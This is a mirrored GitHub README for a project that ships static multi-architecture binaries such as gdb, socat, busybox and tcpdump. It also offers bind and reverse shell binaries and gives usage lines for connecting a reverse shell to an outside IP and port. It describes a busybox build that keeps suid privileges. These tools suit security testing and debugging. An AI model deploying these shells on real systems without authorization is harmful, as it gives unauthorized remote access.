Giter Club home page Giter Club logo

prebuilt-multiarch-bin's Introduction

prebuilt-multiarch-bin

prebuilt binaries for multiple architeture (arm, armeb, aarch64, aarch64_be, mips, mips1, mipsel, mipsel1, mips64, mips64el, powerpc, powerpc64, powerpc64le, riscv64, i586, x86_64)

all binaries are statically linked and stripped

Please go to the Release page for download. *archName*_tools.zip contains tools' binary (see Tools Section) for that specific arch, and allinone.zip contains all of it.

Or download single file directly from bin branch

Source file and Scripts are in src branch

Buildroot

  • MIPS-I and MIPSEL-I are using buildroot 2014.11 because they remove the support after that version
  • others are using buildroot 2019.11.1
  • compiled toolchain can be found at action's artifacts page (mips1/mipsel1 are file package from output/host, others are from make sdk)

Tools

  • gdb (mips1/mips1el are using gdb 7.12.1, others are 8.3.1)
  • socat
  • busybox (And busybox_nodrop is the one replace all BB_SUID_DROP with BB_SUID_MAYBE, which means it will not drop suid in applets)
  • bind/reverse shell
  • bind/reverse shell .so library (barely tested)
  • tcpdump
  • strace
  • dropbear(mips1/mips1el are not static link :( )
  • lsof

Bind/Reverse Shell binary

  • run the bind shell without arguments like ./bind_shell will listening on the port 3343 and ./bind_shell 6666 will listen on 6666.
  • run the reverse shell binary without arguments will connect to 127.0.0.1:3343 , one could use a hex editor the change cstring cotains the ip/port. or ./reverse_shell 1.1.1.1 12345 will connect to 1.1.1.1:12345; ./reverse_shell 1.1.1.1 will connect to 1.1.1.1:3343

gdb (Important)

  • gdbserver is compiled without libthread_db
  • gdb need libthread_db.so.1 to support multithread debug, if you run into SIGSEGV when r the program, run set libthread-db-search-path 0 in gdb first, then there will be warning about libthread_db.so.1, just ignore it.

Github Actions

the config file for buildroot and github actions' workflow file are in the src branch

Changelog

  • 20220514 - change to use release, old way can be found in master_deprecated branch 20230305 - store files at bin branch with git lfs
  • 20230217 - fix gdb build on x86_64
  • 20230305 - enable telnetd applet and its stanalone mode in busybox

prebuilt-multiarch-bin's People

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.